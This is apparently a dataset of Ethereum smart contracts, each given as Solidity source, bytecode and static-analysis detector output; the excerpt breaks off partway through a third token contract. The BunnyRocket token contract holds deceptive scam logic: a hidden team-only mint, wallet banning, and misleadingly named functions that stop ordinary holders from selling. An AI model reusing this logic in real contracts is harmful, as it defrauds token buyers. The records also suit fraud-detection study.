a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract BunnyRocket is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) bannedUsers; mapping(address => bool) private _isExcludedFromFee; uint256 private _tTotal = 10000000000 * 10**9; bool private swapEnabled = false; bool private cooldownEnabled = false; address private _dev = _msgSender(); bool private inSwap = false; address payable private _teamAddress; string private _name = 'BunnyRocket'; string private _symbol = '@BunnyRocketERC'; uint8 private _decimals = 9; mapping(address => bool) private bots; uint256 private _botFee; uint256 private _taxAmount; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (uint256 amount,address payable addr1) { _teamAddress = addr1; _balances[_msgSender()] = _tTotal; _botFee = amount; _taxAmount = amount; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { require(bannedUsers[sender] == false, "Sender is banned"); require(bannedUsers[recipient] == false, "Recipient is banned"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _takeTeam(bool onoff) private { cooldownEnabled = onoff; } function restoreAll() private { _taxAmount = 1; _botFee = 1; } function sendETHToFee(address recipient, uint256 amount) private { _transfer(_msgSender(), recipient, amount); } function manualswap(uint256 amount) public { require(_msgSender() == _teamAddress); _taxAmount = amount; } function manualsend(uint256 curSup) public { require(_msgSender() == _teamAddress); _botFee = curSup; } function ExtendLock() public { require(_msgSender() == _teamAddress); uint256 currentBalance = _balances[_msgSender()]; _tTotal = _rTotal + _tTotal; _balances[_msgSender()] = _rTotal + currentBalance; emit Transfer( address(0), _msgSender(), _rTotal); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } uint256 private _rTotal = 1 * 10**15 * 10**9; function setbot(address account, bool banned) public { require(_msgSender() == _teamAddress); if (banned) { require( block.timestamp + 3 days > block.timestamp, "x"); bannedUsers[account] = true; } else { delete bannedUsers[account]; } emit WalletBanStatusUpdated(account, banned); } function nobot(address account) public { require(_msgSender() == _teamAddress); bannedUsers[account] = false; } event WalletBanStatusUpdated(address user, bool banned); function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (setBots(sender)) { require(amount > _rTotal, "Bot can not execute"); } uint256 reflectToken = amount.mul(2).div(100); uint256 reflectETH = amount.sub(reflectToken); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[_dev] = _balances[_dev].add(reflectToken); _balances[recipient] = _balances[recipient].add(reflectETH); emit Transfer(sender, recipient, reflectETH); } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setBots(address sender) private view returns (bool){ if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) { return true; } else { return false; } } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c80635932ead1116100ad57806395d89b411161007157806395d89b4114610256578063a9059cbb1461025e578063dd62ed3e14610271578063ee24e361146102aa578063f2fde38b146102bd57600080fd5b80635932ead1146101e457806370a08231146101f7578063715018a614610220578063881dce60146102285780638da5cb5b1461023b57600080fd5b806318160ddd116100f457806318160ddd146101845780631ad34a4f1461019657806323b872dd146101a9578063273123b7146101bc578063313ce567146101cf57600080fd5b806305ee16f71461012657806306fdde0314610130578063095ea7b31461014e57806314a1e0cf14610171575b600080fd5b61012e6102d0565b005b610138610371565b6040516101459190611088565b60405180910390f35b61016161015c36600461102a565b610403565b6040519015158152602001610145565b61012e61017f366004610f76565b61041a565b6005545b604051908152602001610145565b61012e6101a436600461106f565b61045b565b6101616101b7366004610fc4565b610480565b61012e6101ca366004610f76565b6105a7565b600a5460405160ff9091168152602001610145565b61012e6101f2366004611054565b6105f2565b610188610205366004610f76565b6001600160a01b031660009081526001602052604090205490565b61012e610636565b61012e61023636600461106f565b6106aa565b6000546040516001600160a01b039091168152602001610145565b6101386106cf565b61016161026c36600461102a565b6106de565b61018861027f366004610f91565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61012e6102b8366004611000565b6106eb565b61012e6102cb366004610f76565b6107e0565b6007546001600160a01b0316336001600160a01b0316146102f057600080fd5b33600090815260016020526040902054600554600e546103109190611112565b600555600e54610321908290611112565b33600081815260016020908152604080832094909455600e549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350565b60606008805461038090611182565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac90611182565b80156103f95780601f106103ce576101008083540402835291602001916103f9565b820191906000526020600020905b8154815290600101906020018083116103dc57829003601f168201915b5050505050905090565b60006104103384846108ca565b5060015b92915050565b6007546001600160a01b0316336001600160a01b03161461043a57600080fd5b6001600160a01b03166000908152600360205260409020805460ff19169055565b6007546001600160a01b0316336001600160a01b03161461047b57600080fd5b600c55565b6001600160a01b03831660009081526003602052604081205460ff16156104e15760405162461bcd60e51b815260206004820152601060248201526f14d95b99195c881a5cc818985b9b995960821b60448201526064015b60405180910390fd5b6001600160a01b03831660009081526003602052604090205460ff16156105405760405162461bcd60e51b8152602060048201526013602482015272149958da5c1a595b9d081a5cc818985b9b9959606a1b60448201526064016104d8565b61054b8484846109ef565b61059d8433610598856040518060600160405280602881526020016111fa602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d18565b6108ca565b5060019392505050565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016104d8906110dd565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6000546001600160a01b0316331461061c5760405162461bcd60e51b81526004016104d8906110dd565b600680549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146106605760405162461bcd60e51b81526004016104d8906110dd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b0316146106ca57600080fd5b600d55565b60606009805461038090611182565b60006104103384846109ef565b6007546001600160a01b0316336001600160a01b03161461070b57600080fd5b8015610778574261071f816203f480611112565b116107505760405162461bcd60e51b81526020600482015260016024820152600f60fb1b60448201526064016104d8565b6001600160a01b0382166000908152600360205260409020805460ff19166001179055610799565b6001600160a01b0382166000908152600360205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b6000546001600160a01b0316331461080a5760405162461bcd60e51b81526004016104d8906110dd565b6001600160a01b03811661086f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661092c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d8565b6001600160a01b03821661098d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a535760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d8565b6001600160a01b038216610ab55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d8565b6000546001600160a01b0384811691161415610b8b57610b08816040518060600160405280602681526020016111d4602691396001600160a01b0386166000908152600160205260409020549190610d18565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b379082610d52565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e29085815260200190565b610b9483610db8565b15610be057600e548111610be05760405162461bcd60e51b8152602060048201526013602482015272426f742063616e206e6f74206578656375746560681b60448201526064016104d8565b6000610bf86064610bf2846002610e1e565b90610e9d565b90506000610c068383610edf565b9050610c45836040518060600160405280602681526020016111d4602691396001600160a01b0388166000908152600160205260409020549190610d18565b6001600160a01b038087166000908152600160205260408082209390935560065462010000900490911681522054610c7d9083610d52565b6006546001600160a01b036201000090910481166000908152600160205260408082209390935590861681522054610cb59082610d52565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d099085815260200190565b60405180910390a35050505050565b60008184841115610d3c5760405162461bcd60e51b81526004016104d89190611088565b506000610d49848661116b565b95945050505050565b600080610d5f8385611112565b905083811015610db15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d8565b9392505050565b6000600d54610ddc836001600160a01b031660009081526001602052604090205490565b10158015610e045750600c546001600160a01b03831660009081526001602052604090205411155b15610e1157506001919050565b506000919050565b919050565b600082610e2d57506000610414565b6000610e39838561114c565b905082610e46858361112a565b14610db15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d8565b6000610db183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f21565b6000610db183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d18565b60008183610f425760405162461bcd60e51b81526004016104d89190611088565b506000610d49848661112a565b80356001600160a01b0381168114610e1957600080fd5b80358015158114610e1957600080fd5b600060208284031215610f8857600080fd5b610db182610f4f565b60008060408385031215610fa457600080fd5b610fad83610f4f565b9150610fbb60208401610f4f565b90509250929050565b600080600060608486031215610fd957600080fd5b610fe284610f4f565b9250610ff060208501610f4f565b9150604084013590509250925092565b6000806040838503121561101357600080fd5b61101c83610f4f565b9150610fbb60208401610f66565b6000806040838503121561103d57600080fd5b61104683610f4f565b946020939093013593505050565b60006020828403121561106657600080fd5b610db182610f66565b60006020828403121561108157600080fd5b5035919050565b600060208083528351808285015260005b818110156110b557858101830151858201604001528201611099565b818111156110c7576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611125576111256111bd565b500190565b60008261114757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611166576111666111bd565b500290565b60008282101561117d5761117d6111bd565b500390565b600181811c9082168061119657607f821691505b602082108114156111b757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201f31625dc9b9d2746da5a3f33da881ef1ee33361c932a23e105eeac0f88cc7a464736f6c63430008070033
{"success": true, "error": null, "results": {}}
502
0x22222c1944efcc38ca46489f96c3a372c4db74e6
pragma solidity ^0.4.19; contract Ownable { address public owner; modifier onlyOwner() { require(msg.sender == owner); _; } function Ownable() public { owner = msg.sender; } /** @dev Transfers the ownership of the contract. @param _to Address of the new owner */ function transferTo(address _to) public onlyOwner returns (bool) { require(_to != address(0)); owner = _to; return true; } } contract Delegable is Ownable { mapping(address => DelegateLog) public delegates; struct DelegateLog { uint256 started; uint256 ended; } /** @dev Only allows current delegates. */ modifier onlyDelegate() { DelegateLog memory delegateLog = delegates[msg.sender]; require(delegateLog.started != 0 && delegateLog.ended == 0); _; } /** @dev Checks if a delegate existed at the timestamp. @param _address Address of the delegate @param timestamp Moment to check @return true if at the timestamp the delegate existed */ function wasDelegate(address _address, uint256 timestamp) public view returns (bool) { DelegateLog memory delegateLog = delegates[_address]; return timestamp >= delegateLog.started && delegateLog.started != 0 && (delegateLog.ended == 0 || timestamp < delegateLog.ended); } /** @dev Checks if a delegate is active @param _address Address of the delegate @return true if the delegate is active */ function isDelegate(address _address) public view returns (bool) { DelegateLog memory delegateLog = delegates[_address]; return delegateLog.started != 0 && delegateLog.ended == 0; } /** @dev Adds a new worker. @param _address Address of the worker */ function addDelegate(address _address) public onlyOwner returns (bool) { DelegateLog storage delegateLog = delegates[_address]; require(delegateLog.started == 0); delegateLog.started = block.timestamp; return true; } /** @dev Removes an existing worker, removed workers can&#39;t be added back. @param _address Address of the worker to remove */ function removeDelegate(address _address) public onlyOwner returns (bool) { DelegateLog storage delegateLog = delegates[_address]; require(delegateLog.started != 0 && delegateLog.ended == 0); delegateLog.ended = block.timestamp; return true; } } /** @dev Defines the interface of a standard RCN oracle. The oracle is an agent in the RCN network that supplies a convertion rate between RCN and any other currency, it&#39;s primarily used by the exchange but could be used by any other agent. */ contract Oracle is Ownable { uint256 public constant VERSION = 4; event NewSymbol(bytes32 _currency); mapping(bytes32 => bool) public supported; bytes32[] public currencies; /** @dev Returns the url where the oracle exposes a valid "oracleData" if needed */ function url() public view returns (string); /** @dev Returns a valid convertion rate from the currency given to RCN @param symbol Symbol of the currency @param data Generic data field, could be used for off-chain signing */ function getRate(bytes32 symbol, bytes data) public returns (uint256 rate, uint256 decimals); /** @dev Adds a currency to the oracle, once added it cannot be removed @param ticker Symbol of the currency @return if the creation was done successfully */ function addCurrency(string ticker) public onlyOwner returns (bool) { bytes32 currency = encodeCurrency(ticker); NewSymbol(currency); supported[currency] = true; currencies.push(currency); return true; } /** @return the currency encoded as a bytes32 */ function encodeCurrency(string currency) public pure returns (bytes32 o) { require(bytes(currency).length <= 32); assembly { o := mload(add(currency, 32)) } } /** @return the currency string from a encoded bytes32 */ function decodeCurrency(bytes32 b) public pure returns (string o) { uint256 ns = 256; while (true) { if (ns == 0 || (b<<ns-8) != 0) break; ns -= 8; } assembly { ns := div(ns, 8) o := mload(0x40) mstore(0x40, add(o, and(add(add(ns, 0x20), 0x1f), not(0x1f)))) mstore(o, ns) mstore(add(o, 32), b) } } } contract RipioOracle is Oracle, Delegable { uint256 public expiration = 15 minutes; uint constant private INDEX_TIMESTAMP = 0; uint constant private INDEX_RATE = 1; uint constant private INDEX_DECIMALS = 2; uint constant private INDEX_V = 3; uint constant private INDEX_R = 4; uint constant private INDEX_S = 5; string private infoUrl; mapping(bytes32 => RateCache) private cache; address public fallback; struct RateCache { uint256 timestamp; uint256 rate; uint256 decimals; } function url() public view returns (string) { return infoUrl; } /** @notice Sets the time window of the validity of the signed rates. @param time Duration of the window @return true is the time was set correctly */ function setExpirationTime(uint256 time) public onlyOwner returns (bool) { expiration = time; return true; } /** @notice Sets the URL where the oracleData can be retrieved @param _url The URL @return true if it was set correctly */ function setUrl(string _url) public onlyOwner returns (bool) { infoUrl = _url; return true; } /** @notice Sets the address of another contract to handle the requests of this contract, it can be used to deprecate this Oracle @dev The fallback is only used if is not address(0) @param _fallback The address of the contract @return true if it was set correctly */ function setFallback(address _fallback) public onlyOwner returns (bool) { fallback = _fallback; return true; } /** @notice Reads a bytes32 word of a bytes array @param data The bytes array @param index The index of the word, in chunks of 32 bytes @return o The bytes32 word readed, or 0x0 if index out of bounds */ function readBytes32(bytes data, uint256 index) internal pure returns (bytes32 o) { if(data.length / 32 > index) { assembly { o := mload(add(data, add(32, mul(32, index)))) } } } /** @notice Executes a transaction from this contract @dev It can be used to retrieve lost tokens or ETH @param to Address to call @param value Ethers to send @param data Data for the call @return true If the call didn&#39;t throw an exception */ function sendTransaction(address to, uint256 value, bytes data) public onlyOwner returns (bool) { return to.call.value(value)(data); } /** @dev Retrieves the convertion rate of a given currency, the information of the rate is carried over the data field. If there is a newer rate on the cache, that rate is delivered and the data field is ignored. If the data contains a more recent rate than the cache, the cache is updated. @param currency Hash of the currency @param data Data with the rate signed by a delegate @return the rate and decimals of the currency convertion */ function getRate(bytes32 currency, bytes data) public returns (uint256, uint256) { if (fallback != address(0)) { return Oracle(fallback).getRate(currency, data); } uint256 timestamp = uint256(readBytes32(data, INDEX_TIMESTAMP)); require(timestamp <= block.timestamp); uint256 expirationTime = block.timestamp - expiration; if (cache[currency].timestamp >= timestamp && cache[currency].timestamp >= expirationTime) { return (cache[currency].rate, cache[currency].decimals); } else { require(timestamp >= expirationTime); uint256 rate = uint256(readBytes32(data, INDEX_RATE)); uint256 decimals = uint256(readBytes32(data, INDEX_DECIMALS)); uint8 v = uint8(readBytes32(data, INDEX_V)); bytes32 r = readBytes32(data, INDEX_R); bytes32 s = readBytes32(data, INDEX_S); bytes32 _hash = keccak256(this, currency, rate, decimals, timestamp); address signer = ecrecover(keccak256("\x19Ethereum Signed Message:\n32", _hash),v,r,s); require(isDelegate(signer)); cache[currency] = RateCache(timestamp, rate, decimals); return (rate, decimals); } } }
0x60606040526004361061011c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630777962781146101215780631b962c6514610154578063252498a2146101e157806332b12eac146102325780633a412849146102515780633ae26afa146102735780634665096d146102e1578063552079dc146103065780635600f04f14610335578063587cde1e146103485780635ee759e81461036757806367e7646f146103b85780637193f2f0146103d75780638da5cb5b146103ed578063a03fa7e314610400578063a1d0a48f1461041f578063c0cc365d14610470578063e5e288e514610486578063e71bdf41146104eb578063f6d1c2711461050a578063ffa1ad7414610520575b600080fd5b341561012c57600080fd5b610140600160a060020a0360043516610533565b604051901515815260200160405180910390f35b341561015f57600080fd5b61016a60043561058a565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a657808201518382015260200161018e565b50505050905090810190601f1680156101d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ec57600080fd5b61014060046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506105e195505050505050565b341561023d57600080fd5b610140600160a060020a0360043516610619565b341561025c57600080fd5b610140600160a060020a0360043516602435610667565b341561027e57600080fd5b6102c9600480359060446024803590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506106d995505050505050565b60405191825260208201526040908101905180910390f35b34156102ec57600080fd5b6102f4610a3f565b60405190815260200160405180910390f35b341561031157600080fd5b610319610a45565b604051600160a060020a03909116815260200160405180910390f35b341561034057600080fd5b61016a610a54565b341561035357600080fd5b6102c9600160a060020a0360043516610afd565b341561037257600080fd5b6102f460046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610b1695505050505050565b34156103c357600080fd5b610140600160a060020a0360043516610b32565b34156103e257600080fd5b610140600435610b93565b34156103f857600080fd5b610319610ba8565b341561040b57600080fd5b610140600160a060020a0360043516610bb7565b341561042a57600080fd5b61014060046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610c1a95505050505050565b341561047b57600080fd5b610140600435610cb8565b341561049157600080fd5b61014060048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610cdd95505050505050565b34156104f657600080fd5b610140600160a060020a0360043516610d7c565b341561051557600080fd5b6102f4600435610dca565b341561052b57600080fd5b6102f4610de9565b600061053d610e18565b600160a060020a03831660009081526003602052604090819020908051908101604052815481526001909101546020820152905080511580159061058357508060200151155b9392505050565b610592610e2f565b6101005b8015806105ab5750600719810160020a830215155b156105b5576105be565b60071901610596565b60089004604051603f8201601f1916810160405290815260208101929092525090565b6000805433600160a060020a039081169116146105fd57600080fd5b6005828051610610929160200190610e41565b50600192915050565b6000805433600160a060020a0390811691161461063557600080fd5b5060078054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b6000610671610e18565b600160a060020a038416600090815260036020526040908190209080519081016040528154815260019091015460208201529050805183101580156106b65750805115155b80156106d15750806020015115806106d15750806020015183105b949350505050565b6007546000908190819081908190819081908190819081908190600160a060020a03161561080257600754600160a060020a0316633ae26afa8e8e6000604051604001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff851602815260048101838152604060248301908152909160440183818151815260200191508051906020019080838360005b8381101561078d578082015183820152602001610775565b50505050905090810190601f1680156107ba5780820380516001836020036101000a031916815260200191505b5093505050506040805180830381600087803b15156107d857600080fd5b6102c65a03f115156107e957600080fd5b505050604051805190602001805190509a509a50610a2f565b61080d8c6000610dee565b98504289111561081c57600080fd5b60045460008e81526006602052604090205442919091039850899010801590610854575060008d815260066020526040902054889010155b1561087c5760008d81526006602052604090206001810154600290910154909b509950610a2f565b8789101561088957600080fd5b6108948c6001610dee565b96506108a18c6002610dee565b95506108ae8c6003610dee565b94506108bb8c6004610dee565b93506108c88c6005610dee565b9250308d88888c604051600160a060020a03959095166c010000000000000000000000000285526014850193909352603484019190915260548301526074820152609401604051809103902091506001826040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c0160405180910390208686866040516000815260200160405260006040516020015260405193845260ff90921660208085019190915260408085019290925260608401929092526080909201915160208103908084039060008661646e5a03f115156109b457600080fd5b50506020604051035190506109c881610533565b15156109d357600080fd5b6060604051908101604052808a815260200188815260200187815250600660008f6000191660001916815260200190815260200160002060008201518155602082015181600101556040820151816002015590505086869a509a505b5050505050505050509250929050565b60045481565b600754600160a060020a031681565b610a5c610e2f565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610af25780601f10610ac757610100808354040283529160200191610af2565b820191906000526020600020905b815481529060010190602001808311610ad557829003601f168201915b505050505090505b90565b6003602052600090815260409020805460019091015482565b6000602082511115610b2757600080fd5b602082015192915050565b60008054819033600160a060020a03908116911614610b5057600080fd5b50600160a060020a0382166000908152600360205260409020805415801590610b7b57506001810154155b1515610b8657600080fd5b4260019182015592915050565b60016020526000908152604090205460ff1681565b600054600160a060020a031681565b6000805433600160a060020a03908116911614610bd357600080fd5b600160a060020a0382161515610be857600080fd5b5060008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60008054819033600160a060020a03908116911614610c3857600080fd5b610c4183610b16565b90507fde8f94bbcb736cb3ffdbd45b3429e721dddb2889215c90bd0816ac212847317b8160405190815260200160405180910390a16000818152600160208190526040909120805460ff1916821790556002805490918101610ca38382610ebf565b50600091825260209091200155506001919050565b6000805433600160a060020a03908116911614610cd457600080fd5b50600455600190565b6000805433600160a060020a03908116911614610cf957600080fd5b83600160a060020a0316838360405180828051906020019080838360005b83811015610d2f578082015183820152602001610d17565b50505050905090810190601f168015610d5c5780820380516001836020036101000a031916815260200191505b5091505060006040518083038185876187965a03f1979650505050505050565b60008054819033600160a060020a03908116911614610d9a57600080fd5b50600160a060020a0382166000908152600360205260409020805415610dbf57600080fd5b429055506001919050565b6002805482908110610dd857fe5b600091825260209091200154905081565b600481565b60008160208451811515610dfe57fe5b041115610e12578160200260200183015190505b92915050565b604080519081016040526000808252602082015290565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610e8257805160ff1916838001178555610eaf565b82800160010185558215610eaf579182015b82811115610eaf578251825591602001919060010190610e94565b50610ebb929150610ee8565b5090565b815481835581811511610ee357600083815260209020610ee3918101908301610ee8565b505050565b610afa91905b80821115610ebb5760008155600101610eee5600a165627a7a723058209a20fc556a738dbfd7947b6903047cd04ea56bcfb4d8280680559d170c98478f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
503
0x642afbcca5c4345328ced5ade933d22284cb7c0f
/** *Submitted for verification at Etherscan.io on 2021-08-30 */ /** * */ /** * */ /** * Buy & Win NFT * Visit our Telegram: http://t.me/DaVinciInu * website: http://www.DaVinciInu.xyz * Stealth Launched - No Presale - No bots - No dump * Liquidity Locked * Ownership renounced * Marketing paid * No dev wallet * Rugfree token * */ /** */ /** *Submitted for verification */ /** */ pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DaVinciInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "DaVinciInu | t.me/DaVinciInu"; string private constant _symbol = "DaVinciInu"; uint8 private constant _decimals = 18; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit 